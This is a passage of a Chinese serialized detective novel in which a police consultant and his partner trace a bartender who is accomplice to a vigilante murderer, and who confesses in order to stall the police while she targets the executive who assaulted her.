程述:“这只是从历史上各类案件中总结出来的概率,不能一概而论,但客观来说,不论是轻松拖动一名成年男性的尸体、还是与一名成年男性搏斗,哪怕凶手是两名女性,也是有一定难度的,所以我觉得同伙是男性的可能性比较大,而且这名男性相对来说要比凶手冷静和理智许多。”
扮演受害者的警员从驾驶座下了车,提出质疑:“冷静和理智?怎么看出来的?”
程述伸了个懒腰,慢悠悠地说道:“按照我们的推测,那名同伴应该是酒吧里的工作人员,负责替凶手观察和寻找合适的目标并且协助她进行抛尸,说明他的情绪比较稳定,至少不会对受害者伤风败俗的行径感到愤怒。”
祝好若有所思,接上了他的话:“可在凶手遇到危险时,那个同伴也能及时出现,帮助凶手制服受害者,甚至为了她杀人,是不是就说明,凶手对他而言是很重要的人?”
程述靠在车前盖上点了点头:“他们两个人之间的关系一定相当紧密,对彼此十分信任。在这段关系中,凶手很可能处于主导地位,而她的同伙则对她很顺从。”
说完给秦聿风递上一个眼神:“老秦,赶紧安排人员重新对禁果酒吧进行调查吧,凶手知道警方离她越来越近,已经加快了作案的速度,再这样下去,很快就会出现新的受害者。”
*
在秦聿风的指挥下,一众刑警兵分几路,迅速展开了工作。
一部分人负责重新调查禁果酒吧所有员工,重点调查在案发当晚轮休、请假或旷工的人,并一一通过不在场证明排除他们的嫌疑。
另一部分警员负责将以桥洞为中心方圆五公里之内的交通监控仔细捋一遍,并与严睿生前住的那家旅馆周围的监控做比对,尝试找到在两个地点附近重复出现过的车辆,因为那很有可能就是凶手抛尸所用的交通工具。
这两项工作是每一起案件中极其无聊、又不得不做的那一部分,其无趣的程度跟在工厂流水线上打螺丝差不多。
第一种需要不停与人交谈,并从每一段对话中挑出重点,反复盘问,最后再一一核实。
第二种则是要目不转睛盯着车来车往的监控,以免错过任何一帧可能与案件有关的细节。
在这两项枯燥乏味的工作中,程述果断选择了第三种——躺在秦聿风的办公室里吹暖气睡大觉。
秦聿风倒也无所谓,毕竟程述是以刑事顾问的身份呆在警局里的,按理来说他的工作职责只是负责提供专业的意见供警方参考、指明侦破方向,往日里跟着到处跑已经算是他份外的活儿了,这些杂事哪怕他不参与也无可厚非。
在办公室里坐了会儿,祝好被暖气熏得脑袋发晕,不自觉打了个哈欠。
她转头看了看程述,见他阖眼躺在沙发上,也不知是睡着了还是闭目养神,于是唤出了控制面板,点进剧情回顾,把时间调到在酒吧进行问询的那一天——如果凶手的同伙是酒吧的员工,那他一定会露出端倪。
这些端倪在当时或许不易察觉,但有了剧情回顾的慢放和暂停功能,就能看得一清二楚。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
140-150
第141章
祝好坐在秦聿风的办公桌前,闭上眼睛,打开了剧情回顾,试图从目光掠过那一张张面孔的瞬间找寻到蛛丝马迹。
那天在酒吧里忙碌的有数十位员工,听说是要配合警方调查一起案子,大部分人都围上前,帮忙辨认隗泽和严睿的照片。
凶手的同伙会不会也混在其中,给他们提供一些错误的线索、误导调查的方向呢?
祝好首先看向酒吧的领班,毕竟他对酒吧的情况十分熟悉,而且完全有机会在值班表上做手脚。
领班是个三十多岁的男人,只见他一脸殷勤,回答秦聿风的问题时虽然有些紧张,但目光并没有躲闪,从他脸上看不出任何撒谎的迹象。
会不会是那个说自己曾见过隗泽的红发女孩?虽然程述推断凶手的同伙可能是男性,但这也不是百分百肯定的。
祝好的目光停留在红发女孩脸上,她对着隗泽的照片微微皱起眉,眼神向左上方移动——这意味着她正在回忆过去经历过的图像,说明她的确见过隗泽和那个凶手。
那其他人呢?
祝好的视线在几个人之间逡巡,只见他们或是疑惑,或是好奇,却始终没发现什么异常。
到底谁最有可能是那个凶手的同伙?
思忖片刻,她起身走到沙发前,推了推程述的肩膀:“老大,你醒醒。”
程述懒洋洋地半睁开一只眼睛看她:“嗯?”
祝好说:“别睡了,我有事情要和你商量。”
程述慢悠悠从沙发上坐起来伸了个懒腰,扭了扭脖子:“干什么?”
“我不是跟你说过我可以回顾之前发生过的事情吗?就像放视频一样。”
听到这儿,他懒散的目光微微闪烁:“放视频?”
祝好点了点头——准确地说,比放视频还要更全面,毕竟视频只能眼看耳听,而剧情回顾能让当时的五感全部重现。
不过她没解释太多,只说:“按照推断,凶手的同伙应该就
在酒吧里,可我刚刚把上回我们去酒吧的那段剧情回顾了一遍,没发现什么异常,你有没有什么提议?比如说,应该重点观察哪些人?”
程述稍稍坐直了身子,似乎是来了兴趣:“你都能看到什么,跟我说说看。”
祝好重新打开了那段剧情回顾,摁下播放键的同时,也把每一个细节实时转达给他:“那天我们去到酒吧之后,秦聿风向领班亮出了自己的证件,随后酒吧里的员工不约而同停下手中的活儿凑上来,一起辨认隗泽和严睿的照片。”
程述想了想:“除了像是指甲油杀手那样为了获得认可而杀人的变态会主动寻求关注之外,一般与案子有关的人都会尽量避免与警方接触,更别说主动提供线索了,我觉得那个同伙应该不在主动围上来的人当中,更有可能是躲在暗处窥察或是装作与他无关的样子。”
所以是要把注意力放在那些没有围过来的人身上吗?
这样一来难度可就大了,毕竟剧情回顾只能看到当时目光所及的地方,如果那个同伙并没有出现在祝好的视线范围里,那就没办法探察他的一言一行。
不过既然程述都这么说了,还是得试一试。
祝好继续回顾那段剧情,但这回没把重点放在围过来的那些人身上,而是注意周围的动静。
当时她面对的地方有一扇门,看着应该是酒吧的后厨,一个身影从里面走出来,在看到围在一起的人群时,脚步不自觉顿了顿。
祝好很快认出,是那个叫做厉荣的调酒师。
在无人在意的角落,他似乎犹豫了片刻,但还是搬着一箱洗干净的酒杯往大厅里走。
祝好把时间往回退了一下,摁下慢放键,仔细观察厉荣的表情。
他步履匆匆,头一直低着,看似对这头发生的情况毫不在意,眼神却不自觉瞟来——人有好奇心是正常的,如果警察在调查的案子跟他无关,他大可以光明正大过来打听,而不是用眼角余光偷偷关注。
祝好扯了扯程述的袖子:“老大,你还记得那个叫做厉荣的调酒师吗?”
“记得。怎么?”
祝好没有马上回答,而是继续往下看。
在听到领班喊自己名字时,厉荣的身体微不可察地僵了一瞬,不得已放下手中的箱子走过来。
看到秦聿风手机里隗泽的照片后,他说自己没有印象。
尽管他一再控制自己的情绪,祝好还是通过慢放看到他喉结轻轻一滚,肩膀微微耸动,随后十分不自然地撇了撇嘴角——从微表情的角度来说,这都是对自己的话没有自信的表现。
祝好心里有了几分笃定,退出剧情回顾,对程述说:“我觉得厉荣的行为很可疑。”
程述没问原因,直接拿出手机给秦聿风打去电话:“喂,老秦,酒吧值班表拿到了吗?”
“拿到了,怎么?”秦聿风似乎是在大街上,周围车来车往,声音嘈杂。
“蒋俊驰遇害当晚,是那个叫作厉荣的调酒师值班吗?”
“厉荣?”电话那头的杂音小了一些,看起来秦聿风是找了个安静的角落,过了一会儿,他说:“查到了,他那天值班,不过八九点时突然说身体不舒服,请假回去休息了。”
顿了一下,又问:“你怀疑是他吗?”
程述跟祝好对视一眼,没回答,只说了句:“其他人放一放,先重点调查一下他的背景。”
秦聿风有些迟疑:“你确定?”
程述说:“嗯,确定。”
等他挂断电话,祝好忍不住问:“老大,万一我的判断失误了怎么办?”
程述嗤笑一声:“这回你又不相信你的直觉了?”
“相信是相信,我只是……”
祝好踌躇着没把话说完,凶手已经加快了作案速度,意味着她很可能已经盯上下一位受害者了。如果她的同伙并非厉荣,而是另有其人,那不就等于耽误了警方调查的进度吗?
毕竟在这种时候,时间就等于生命。
“没事,你只要相信自己的直觉就行。”程述的语气十分认真,说话间,手拂过祝好的头顶,安抚似的轻轻拍了拍她的后脑勺。
这个意味不明的举动让祝好霎时浑身紧绷,慌乱地垂下目光,自言自语道:“这儿……这儿怎么那么闷呢,是不是暖气开太足了?”
程述抽回手,抱着后脑靠在沙发上:“闷吗?我觉得挺暖和的。”
“有点儿闷,我开窗透透气。”祝好借口离开沙发,走到窗前,把窗子打开了一条缝。
不知怎么的,她总觉得程述的目光有如实质,寸步不离贴在她背后。可当她偷偷回头看时,却发现他只是靠在沙发上望着天花板发呆,并没有朝自己看来。
吹了会儿冷风,芜杂的思绪逐渐散去,脑袋终于清醒了些。
祝好没由来地觉得刚才的想法未免太自作多情了,那个动作其实也没什么嘛,就跟安慰小孩似的,反倒是自己莫名其妙想那么多干什么,实在是有些可笑。
她关上窗,回到沙发上坐下,说道:“老大,其实我还有一个疑问。”
“什么?”
祝好问:“你说,凶手是怎么知道隗泽是同性恋的?”
从严睿手机里的聊天记录来看,那天他在酒吧时曾给妻子发过信息,称自己忙着应酬,让她早点休息,凶手或者她的同伙或许无意间看到了这条信息,知道他在向妻子撒谎,所以才选择他作为作案目标。
蒋俊驰就更不用说了,他跟朋友在酒吧里喝酒聊天时,公然把手机里那些偷拍的视频作为谈资分享,这么高调的行为无疑会吸引凶手的注意。
可隗泽呢?
不停更换身边的女伴以掩饰自己的性取向,是凶手选择隗泽作为作案目标的原因。可这件事除了他自己和许梓骁之外,甚至连他的舍友都不知道,可见他把这个秘密隐藏得很好。
熟悉的人尚且不知情,那么凶手又是从何得知他真实的取向,并以此界定他的行为伤害了女性的感情?
又或者,凶手也许是隗泽身边的人,她并不是在酒吧里才盯上隗泽,而是早就对他有所了解,才故意在酒吧里跟他偶遇,甚至他们有可能是一起去的酒吧。
程述沉吟了一会儿,说:“可警方调查了所有跟他约会过的女性,证实了她们都有充分的不在场证明。”
祝好不死心:“或许不一定是那些跟他约会过的女性呢,也有可能是一直在暗处窥视他的人。”
程述皱起眉,手指一下一下敲击着下巴:“你说的有道理,但隗泽喜欢玩乐又善于交际,社交圈子十分复杂,如果有这样的人,恐怕也很难在短时间内找出来。”
这倒是个问题,毕竟隗泽家境优越,交际圈不仅限于学校同学,还有许多社会上的人士。要在这么多人中寻找一个默默在暗处观察他的人,难度甚于大海捞针。
办公室的门忽然被敲响,祝好上前把门打开,发现是警局的技术员,她把一份资料递给祝好,说道:“这是厉荣的资料,秦队让我给你们送过来。”
祝好道了声谢,从她手里接过资料翻看起来。程述走到她身后,目光越过她的肩膀,跟她一同端详资料上的内容。
资料上显示,厉荣今年刚满二十岁,他的父母在他15岁时就因故双亡,除了一屁股债务之外什么也没给他留下。
父母离世不久后,厉荣就因为打架斗殴把一名同学打成重伤,进少管所呆了两年。离开少管所后,他去了一家培训机构学习调酒,半年前才进入禁果酒吧工作。
乍一看只是一个误入歧途的少年靠自己的努力打拼,让人生重回正轨的励志故事,但祝好却隐隐觉得有哪里不太对劲。
程述也察觉到端倪,看向技术员:“小——”
祝好提醒他:“小孙。”
程述不以为意地哦了一声:“小孙,你能不能查一下这家培训机构的学费是多少?”
“没问题。”技术员答应着回到了电脑前。
在键盘上敲击一阵后,屏幕上出现了那家培训机构的
网页,祝好按照网页上留下的联系方式给培训机构的负责人打去电话,询问跟学费有关的问题,得知学习调酒的费用是三千元一学期。
三千元对普通人来说不是什么大数目,但对没有家人、没有工作经验,又刚刚从少管所里出来的厉荣来说无疑是一笔巨款。
那么他的学习调酒的这笔学费究竟是怎么来的?
第142章
为了隔绝社会上的不良影响,淮江市的少管所设在远离市区的郊外。
穿过监控室和层层大门,祝好第一次进入少管所,心里不免有些紧张,亦步亦趋跟在程述身后。
少管所纪律严苛,跟成人监狱差别并不大,里面的犯人多是十四五岁的少年,留着一样的寸头,穿着统一的制服和凉鞋。经过教室时,除了几个好事的少年会转头看过来,大部分人脸上都是一幅麻木的表情。
接待他们的是里面一位负责给少年犯提供心理辅导的指导员,他用衣角擦了擦老花镜的镜片,叹息道:“这儿的孩子啊,除了小部分是骨子里带着坏之外,很多人其实底色都是好的,只是缺少正确的引导才误入歧途。”
时间紧迫,程述绕开了寒暄的部分,递上一张厉荣的照片,开门见山问道:“您还记得厉荣吗?”
指导员把老花镜往下扶了些,端详着手里的照片,点了点头:“有印象,这孩子是因为打架斗殴进来的,刚开始他看谁都带着一股狠劲,三天两头就跟别的孩子起争执,也不服管教,所以经常受罚。”
祝好捕捉到他话里的重点,问道:“刚开始?他后来出现了什么变化吗?”
“没错。”指导员点点头:“后来他慢慢收敛了那些戾气,性格也变得平和许多,离开的时候,就跟彻底变了个人似的,当时我还挺感慨。”
末了,又紧张地问道:“那孩子不会又犯什么事了吧?”
“没事,只是有个案子需要他协助调查而已。”祝好岔开话题:“您还记得他的变化是从什么时候开始的吗?”
指导员面露难色,用食指挠了挠太阳穴:“这个……哎呀,我有些记不清了。”
厉荣离开少管所已经快一年了,指导员每天面对那么多的少年犯,要回忆起这种细枝末节的问题确实是强人所难。
见祝好露出失望的神色,指导员安慰道:“不过我这儿好像还留有一些照片和资料,你们可以看看能不能派上用场。”
说着起身打开书柜,在一摞摞文件中翻找起来。
心理辅导室的一面墙上贴满了五颜六色的小纸条,每一张都写着一两句简短的话语。
见祝好好奇地张望,指导员笑了笑说:“这是孩子们的留言墙,我让他们把自己想感谢的人写下来,贴在上面。”
祝好问:“那能找到厉荣的留言吗?”
指导员说:“我记得他应该也写过,你可以找找。”
祝好起身上前凑近了些,试图从那些笔迹各异的纸条中找到那个熟悉的名字。
如指导员所说,这些字条上多是一些感谢一类的话语,常见的是感谢父母,感谢指导员,感谢自己,感谢朋友等等。
祝好的目光扫过那一张张纸条,终于在其中一张字条的右下方找到了厉荣的名字。她扯了扯程述的衣袖:“老大,你看这里。”
程述小心翼翼地把纸条从墙上撕下来,只见纸条上写着:“y,你的出现是我生命中的一道光,谢谢你。”
字写得不太好看,但一笔一画看着都十分郑重,落款的时间是去年的7月份,也就是厉荣离开少管所前的两个月。
祝好不解:“y?这个‘y’是谁?”
指导员摇头:“这我就不清楚了,他也没跟我提过。”
祝好又看向程述,程述也摇摇头表示没有头绪,又说:“不管是谁,但这个‘y’应该是一个对厉荣很重要的人……”
说不定就是凶手。
他看了指导员一眼,没把后面那句话说出来。
“找到了,去年的合照和一些活动的文件都在这儿,你们随意看看。”指导员搬出一沓文件,放在办公桌上。
文件是一些活动策划、课程安排。照片多是合照,前排是穿着统一制服的少年犯,后排看起来像来自社会各界的人士。
祝好指着那些照片询问道:“这些人都是谁?”
指导员接过照片看了一眼,回答道:“哦,我们这儿工作人员数量有限,所以不定期会有志愿者前来与孩子们进行交流,向他们传授一些新知识,教他们书法、绘画等,这些人都是志愿者,其中有退休的干部,有学校老师,还有一些大学生。”
程述点点头:“这些照片和文件我们需要带回去,还有这儿的工作人员名单和值班表也给我们一份。”
从少管所出来时,天已经黑了。
厉荣的性格是在少管所里发生改变的,说明这期间有什么人或事对他产生了影响,而纸条上的的那个“y”,对他而言一定有十分重要的意义。
开回市区需要四十分钟左右,祝好把少管所的值班表摊开在膝盖上,查阅每个人轮休和请假的情况,试图从里面找到那个神秘的“y”。
然而一番核对后,都没有在其中找到符合条件的人选,也就是说,这位“y”并非少管所里的工作人员,那最有可能的就是那些志愿者其中的一个人。
少管所几乎每个月都会有志愿者前去进行交流,每一批志愿者十至二十人不等,一年下来也有一两百人,要从里面找到那个“y”并不简单。
车刚开进市区,程述的手机突然响了起来。他拿出手机看了一眼,摁下免提,秦聿风喘着气的声音从里面传出来:“老程,厉荣的电话打不通,今天他也没去酒吧上班,你们那边有什么收获吗?”
程述看向祝好,祝好举着工作人员的名单对他摇了摇头,表示没找到符合的人。
“还没有,你现在在哪儿?”
秦聿风:“我们刚查到厉荣的地址,现在正要过去。”
程述简短回复:“定位发给我,一会儿见面说。”
挂断电话,秦聿风很快把厉荣家的地址发了过来,程述看了一眼地图,调转了方向盘。
厉荣的住处是一栋廉租公寓,秦聿风和几个警员到得比他们早,告诉他们屋里没人应门,已经通知房东过来开门了。
十分钟后,房东赶到家门口,战战兢兢拿出钥匙开了门,忍不住问秦聿风:“警察同志,我只是租个房子,应该不会受什么牵连吧。”
秦聿风笑了笑:“只要你的租房合同是合法的就没问题。”
房东忙不迭从口袋里掏出租房合同,回答道:“合法,当然合法,他跟我签合同的时候已经成年了。”
房
子是单间,一眼就能看完全部,里面的布置也很简单,除了一张床,一个衣柜,一张书桌之外就别无他物。
秦聿风带着几个警员在出租屋里翻找有价值的线索,出租屋本就狭小,容不下太多人,祝好站在门口,接过房东手里的合同仔细阅览。
签订合同的时间是去年的九月份,也就是厉荣离开少管所后的第一个月。合同上写着这儿的租金是800元一个月,押二付三。
押二付三的话,押金也需要一千多钱,加上添置一些基础的日用品,也需要两千左右。
能住得起这样的房子,又能去学调酒,这一切会不会是有了“y”的帮助呢?
祝好把合同还给房东,问道:“当时他是自己来跟你签的合同吗?”
房东仔细想了想:“不是,有个姑娘跟他一起来的,说是他姐姐。”
姐姐?
祝好跟程述对视了一眼,赶紧拿出从少管所带回来的那一沓合照递到房东手里:“您能看看这些照片里有没有那个姑娘吗?”
房东拿过照片,借着楼道的光仔细辨认,在翻到前年八月份的一张合影时,他看了其中一个身影好一会儿,说道:“好像是她。”
祝好顺着他手指的方向看去,那是一个年轻女孩,留着齐耳短发,穿着白色的衬衫和蓝色半身裙。
而那张脸,无端让人觉得很熟悉。
祝好还在思索到底在哪儿见过这个面孔,程述就开口说道:“这是隗泽的辅导员。”
他转头朝正在翻箱倒柜的秦聿风问道:“老秦,隗泽的辅导员叫什么名字?”
“高……高什么来着,我看看。”秦聿风没问原因,摘下手套,从口袋里掏出手机翻了翻:“高梦妍。”
高梦妍,妍,y。
对上了。
一名警员把床板翻了起来,拿起一个盒子朝秦聿风扬了扬:“秦队,这儿有发现!”
打开盒子,里面是一沓信件,有二三十封。信件保存得很完好,纸张没有一点儿破损,看得出来厉荣对这些信很是珍惜。
信件上的字迹工整隽秀,内容并没有什么特别的,只是分享着生活上的琐碎的小事,还附带了一些鼓励的话。
这些信件的落款无一例外都是“y”。
最早的一封信是从前年的九月份开始的,正是高梦妍去少管所当志愿者、拍下那张合照的第二个月,最后一封信则是厉荣离开少管所前的一个月。
在厉荣自暴自弃、想要放任自己堕落的时候,遇到了作为志愿者前去少管所交流的高梦妍,两段原本毫无瓜葛的人生也从此有了交集。
在少管所时,高梦妍几乎每个月都会给厉荣写信,跟他讲述生活中的小事,鼓励他要直面困难,找到属于自己的方向。
厉荣出狱后,高梦妍不仅替他支付了房租,还送他去学习调酒,让他有了养活自己的手艺。
厉荣没有父母和家人,高梦妍的出现就像他生活中的一道光,照亮了他原本已经沉入深渊的人生。
因此他把高梦妍当成了自己唯一的依靠,也愿意为她做任何事。
包括杀人。
祝好的脑海中掠过高梦妍的清秀的面庞,那天在财经大学与她见面时,她穿着长至膝盖的红色棉服和雪地靴,留着齐耳短发,鼻梁上架着一副圆框眼镜,提起隗泽时还露出难过的表情。
这样一个干净美好的女孩,为什么会成为一个手段凶残的杀人犯呢?
第143章
眼看屋里几乎要被翻个底朝天,却仍旧一无所获,秦聿风掐着腰短暂地沉默了一下,问道:“老程,你们的判断确定没出错吗?”
对于警察来说,每一种推测都需要侦查逻辑和现场证据来印证。
然而除了那沓信件,警方并没有在厉荣家里找到任何能佐证他犯罪事实的证据。
距离蒋俊驰遇害已经过去了好几天时间,作案的凶器、他当时所穿的衣物,甚至是车子可能都已处理干净。
虽然温珣在蒋俊驰的指甲里提取到一些皮屑,但在dna比对结果出来之前,他们确实没有证据证明蒋俊驰的死跟厉荣有关。
没有这些物证的支撑,除非厉荣主动承认杀人,否则一切推测都只能算是猜想。
程述笑了笑:“结果出来之前,谁能保证有没有出错?”
秦聿风脸色不太好看:“按你的说法,凶手或许已经在物色下一名受害者了。我们在厉荣这儿花了那么多时间,万一最后查出他不是凶手怎么办?”
程述半开玩笑半认真地回了句:“那就让凶手再杀一个呗,反正他们都挺该死的。”
“你——”
见秦聿风面露愠怒,程述这才收起嬉皮笑脸,耸了耸肩:“现在这是我们唯一的线索,除非你还有别的头绪,不然就只能从可能性最大的方向调查。”
秦聿风被他气得无言以对,捏着自己的眉心摇了摇头。
祝好心头隐隐漫上不安,也开始有些怀疑自己。
剧情回顾里厉荣的反应的确可疑,但也有无数的理由可以解释。
比如他可能是因为被警察问话太紧张,才会出现一些不自然的举动;而在蒋俊驰遇害那天晚上,他突然从酒吧请假离开也有可能真的只是身体不舒服;至于他跟高梦妍的关系,除了能确定他们是认识的之外,也不能说明什么。
总之目前为止,没有一样可以直接证明他就是凶手。
正当祝好胡思乱想时,秦聿风的手机突然响了。
他掏出手机,“喂”了一声,眉宇间的焦虑逐渐转变成惊讶。
挂掉电话,他转向程述和祝好:“厉荣去警局自首了,承认他杀了人。”
*
坐在审讯室里的果然是厉荣,他今天没穿酒吧的制服,而是穿了件黑色的棉衣。头发有些凌乱,脸上没有任何表情,只是垂着头呆呆地看着手腕上冰冷的手铐发呆。
审讯室隔壁的监控室里,警员拿来一条装在证物袋里的拖车绳递给秦聿风:“秦队,这是厉荣带来的凶器,经过温主任的对比,确认跟受害者脖子上的是同一条。”
秦聿风点点头,捻灭手里的烟头,转身出了监控室,推开审讯室的门。
“厉荣,这是我们第二次见面了。”
厉荣闻声抬起头,露出一个有些勉强的笑容:“你好,警察同志。”
秦聿风提了提裤腿,在审讯桌前坐下,把手里的文件掼在桌上,直入主题:“你说,你杀了人?”
厉荣默不作声地点了点头。
“怎么杀的,说说看。”
又是一阵长久的沉默过后,厉荣缓缓开口:“那天我身体不舒服,提前跟领班请假回家休息,途中路过一个桥洞,听到有人喊救命,就跑过去看了。”
“我看到有辆车停在那里,里面有个女孩又哭又叫,好像是被什么人欺负了,我当时没想那么多,就从车上拿了一根拖车绳跑过去想帮忙。”
他的语速很慢,几乎每句话之间都要停顿几秒钟。
“等我靠近车子时,才发现有个男的想欺负副驾驶的女孩,就拉开车门,用绳子勒住了那个男人的脖子。他拼命反抗,嘴里还骂着很脏的话,问我是谁,还说绝不会放过我。”
说到这儿,他话音一顿,干脆停了下来,又一次低头看着自己的手发呆。
秦聿风等待片刻,有些不耐烦,屈指叩了叩桌面:“继续!”
他像是忽然回过神似的,说道:“我刚刚说到哪儿了……哦,对了,我担心他挣扎开后会找我报复,手上的绳子不自觉越勒越紧,等我反应过来时,他就已经……就已经死了。”
“那个女孩呢?”
厉荣又不说话了,直到秦聿风扬起声调,把问题重复了一遍,他才回答:“……那个男的刚松开手她就吓跑了,我不知道她去了哪儿,也不记得她长什么样。”
秦聿风:“事情过去那么多天了,怎么现在才来自首?”
这回他足足停顿了半分钟,才咬了咬嘴唇,说:“因为我害怕,所以在家躲了好几天,今天才鼓起勇气来。”
近一个小时里,厉荣大部分时间都在沉默,每个问题都要思考很久。
秦聿风的耐心几乎要耗尽,从文件袋里抽出一张照片拍在他面前:“那这个是怎么一回事?”
照片上是蒋俊驰被割下来后丢弃在案发现场草丛里的、血肉模糊的生殖器。
厉荣瞥了照片一眼就迅速挪开目光,喉结轻轻滚动,低声说道:“我觉得他做了错事,应该受到惩罚,就……”
秦聿风:“你的意思是,你是见义勇为,结果误杀了人,然后又因为愤怒,把他的生殖器割下来?”
厉荣潦草地点点头:“是的。”
“你杀了人,感到害怕,却没有立刻逃跑,而是去割下他的生殖器?”
厉荣
这回倒是想也不想,顺着他的话应道:“对。”
秦聿风语气冷硬起来:“那我问你,你家跟那座桥是两个不同的方向,你说请假回家休息,为什么会路过那个桥洞?”
厉荣似乎早就料到他会这么问,依旧面色如常,不紧不慢地解释:“哦,回到半路上我觉得自己病好了,就想着去河边散散步。”
祝好透过单向玻璃看着这个面容还稍显稚嫩的年轻男孩,总觉得他十分不对劲,却又一时没明白他究竟想做什么。
如果他想替高梦妍顶罪,这么多天已经足够他们商量好,至少能拼凑出一个不那么明显的谎言。可他的话破绽百出,甚至不需要细究就能发现诸多漏洞。
身旁的程述似乎也察觉到了这一点,微微蹙眉,却一言不发,只是凝神听着秦聿风和厉荣的谈话。
过了一会儿,他用监控室里的麦克风对秦聿风说:“老秦,问问他关于高梦妍的事。”
秦聿风抬眼朝这边递了个会意的眼神,转向厉荣:“高梦妍跟你是什么关系?”
他问的不是“你认不认识高梦妍”,或者“高梦妍是谁”,而是直接问高梦妍跟他有什么关系,就是告诉厉荣警方已经掌握了这个重要证据。
厉荣的下颌线不自觉绷紧了,嗫嚅着说:“她是一个对我很重要的人,我是在少管所里跟她认识的,她对我很好,一直给我写信,鼓励我走出阴霾,找到属于自己人生的方向。我离开少管所之后,她替我支付了半年的房租和押金,还送我去学了调酒,让我能够养活自己。对我来说,她就像姐姐一样。”
提起高梦妍,厉荣的语气变得更温和了,甚至不只简单地回答了高梦妍跟自己的关系,还絮絮叨叨说了许多有的没有。
秦聿风笑了笑:“你不好奇我为什么会突然提起她吗?”
厉荣微微一怔,随后又干笑了一下:“警察同志这么问,一定有你的道理。”
“她对你那么重要,你是不是可以为她做任何事?”
“是。”
“如果她让你杀人呢?”
厉荣默然无语。
见厉荣没有说话,秦聿风又换了个说法:“或者说,如果那天晚上,被那个男人压在副驾驶的人是高梦妍呢,你也会为了她杀人吗?”
厉荣微不可察地从鼻腔里发出一声冷哼:“我能为了一个陌生人杀人,自然也会为了她杀人,前提是那个人该死。”
说这句话的时候,他原本毫无情绪的脸上浮现出一丝稍纵即逝的、复仇般的快意。
祝好心头一跳,终于明白了那种不对劲的感觉从何而来,比起那天在酒吧里极力掩饰的慌张和无措,今天的厉荣显得格外淡定,表情没有一丝慌乱,就好像怀揣着一张不为人所知的底牌。
这时她突然注意到,厉荣侧目往墙上看了一眼,顺着他的视线望去,是挂在审讯室里的电子挂钟。
他在看时间。
他为什么要看时间?
再回头一想,祝好心头的疑惑更甚:他为什么会突然选择在这种时候来自首?那些模凌两可、真假难辨的话,又是为了什么?
“他在拖延时间。”程述撂下一句话之后,突然转身离开监控室,三步并作两步走向了技术员的办公桌:“小——”
下班时间早就过了,被迫跟着加班的技术员拧开保温杯的盖子刚要喝水就被他硬生生打断,抬头看了他一眼,自觉接上了他的话:“小孙。顾问先生有什么事吗?”
程述双手撑在桌上,朝着电脑屏幕抬了抬下巴:“帮我查一下高梦妍。”
技术员指着桌上一沓文件说道:“高梦妍的资料都在这儿,秦队也拿了一份。”
程述摇摇头:“不是个人资料,查一下她最近几年里有没有报案的记录。”
技术员放下手里的保温杯,打开警局的系统,手指在键盘上噼里啪啦操作片刻,说道:“有,上个月她报警称自己在学校组织的饭局上被人灌醉,遭到了性侵。”
程述微微一眯眼:“嫌疑人叫什么?”
技术员继续操作电脑,屏幕上出现了一张蓝底证件照:“曾杭,36岁,是好几家上市公司的ceo,同时也是财经学院的荣誉校长。”
第144章
程述问:“这件事后来怎么样了?”
技术员把页面往下拉,说道:“当时高梦妍报警后,警方立刻根据她的指认对曾杭实施了拘捕,并在收集证据后向检察院移交了起诉。不过检察院认为证据不足,不予起诉。最终曾杭只在拘留所呆了十几天,交了一些罚款就不了了之了……对了,这儿有一条高梦妍发布在网上的实名举报的视频。”
点开视频,屏幕上出现了高梦妍那张清秀的娃娃脸。
镜头前的她双眼通红,表情却无比坚毅,手里举着身份证,一字一句控诉曾杭的所作所为,并称自己已经搜集了不少证据,能证明遭到曾杭侵犯的女孩不止她一人。
技术员补充了一句:“这段视频在大多数网站上都被删除了,只剩零星几个小网站上还能找到。”
不用猜也知道,是有权有势的曾杭动用关系将这些事全都给压了下来,并把自己的刑罚降到了最低。
大多数女孩迫于曾杭的权势,即使遭到侵害也只能忍气吞声,而高梦妍选择勇敢地站了出来,替自己、也替她们发声,最终却还是没能将他绳之以法,只能眼睁睁看着他逍遥法外。
检察院不予起诉的决定是大约一个星期前公布的,着也正是高梦妍开始杀戮的时间。
这段经历让她的身心都受到了极大的创伤,也成为了她杀戮的诱因。正如程述之前推断的那样,她觉得自己并没有得到应有的公正,于是开始憎恶那些伤害女性感情的渣男,并将他们当作曾杭的影射。
锁定作案目标后,她会扮
演审判者,旁观他们的一举一动,一旦她认为对方是有罪的,就会毫不犹豫将他们杀死,并将代表罪恶的男性生殖器割下来扔掉,以示对他们的鄙夷和愤怒。
隗泽如此,严睿和蒋俊驰亦是如此。
之前的几位受害者道德上虽然有瑕疵,但与曾杭相比简直是小巫见大巫。纵使他们有错在先,祝好也觉得他们死得有点儿冤了。
她不解地提出疑问:“可高梦妍为什么不直接对曾杭下手,而是杀死其他人来代替他呢?”
程述思索片刻,问技术员:“曾杭近期有没有离开过淮江市?”
过了一会儿,技术员给出答复:“他的确有过出境记录,时间就在从拘留所出来的第二天,入境记录……是今天。”
今天?
程述似乎意识到什么,面色一凛,转身快步走到审讯室门前敲了敲门。秦聿风刚把门打开,就被他一把揪了出来:“别跟厉荣废话了,他在拖延时间。”
秦聿风拧着眉把门关上,低声问道:“说清楚点,他拖延时间干什么?”
程述迅速作出解释:“高梦妍之前曾遭到性侵,但对方利用职权洗脱了自己的罪名,最后也没有受到应有的惩罚。如果我没猜错,这就是高梦妍杀人的诱因。之前那些受害者都只是那个人的代替品。”
曾杭回到了淮江市,高梦妍终于有了下手的机会,她一定不会放过他。
而厉荣之所以主动自首,就是想为高梦妍拖延时间,让她在第一时间找到曾杭,并用同样的手法将他杀死。
祝好补充道:“曾杭回来的航班是今天,下午三点刚到淮江市。”
秦聿风闻言脸色一变,大步流星冲到办公室:“小孙!赶紧……”
他话还没说完,技术员就未卜先知递过一份资料:“我刚查过曾杭信用卡的消费记录,他几个小时前刚刚在市中心一家酒吧消费过。”
按照高梦妍的作案习惯,她会先在酒吧里跟曾杭搭讪,然后与他一同去往酒店或其他地方,用跟之前一样的作案手法将他杀死。
秦聿风刚要派人赶去酒吧,却被程述抬起一只手拦住了:“等等,高梦妍如果成功搭讪了曾杭,一定不会在酒吧停留太久。根据厉荣前来自首的时间推算,她应该已经带着曾杭离开了。”
秦聿风问:“你觉得他们离开酒吧之后会去哪里?”
程述思索片刻,转头问技术员:“当初曾杭是在哪儿侵犯的高梦妍?”
技术员打起十二分精神,快速敲击着键盘,回答道:“在他家里。”
秦聿风当机立断回办公室拿了外套,朝着技术员吩咐道:“地址发我手机上,我们现在过去。”
*
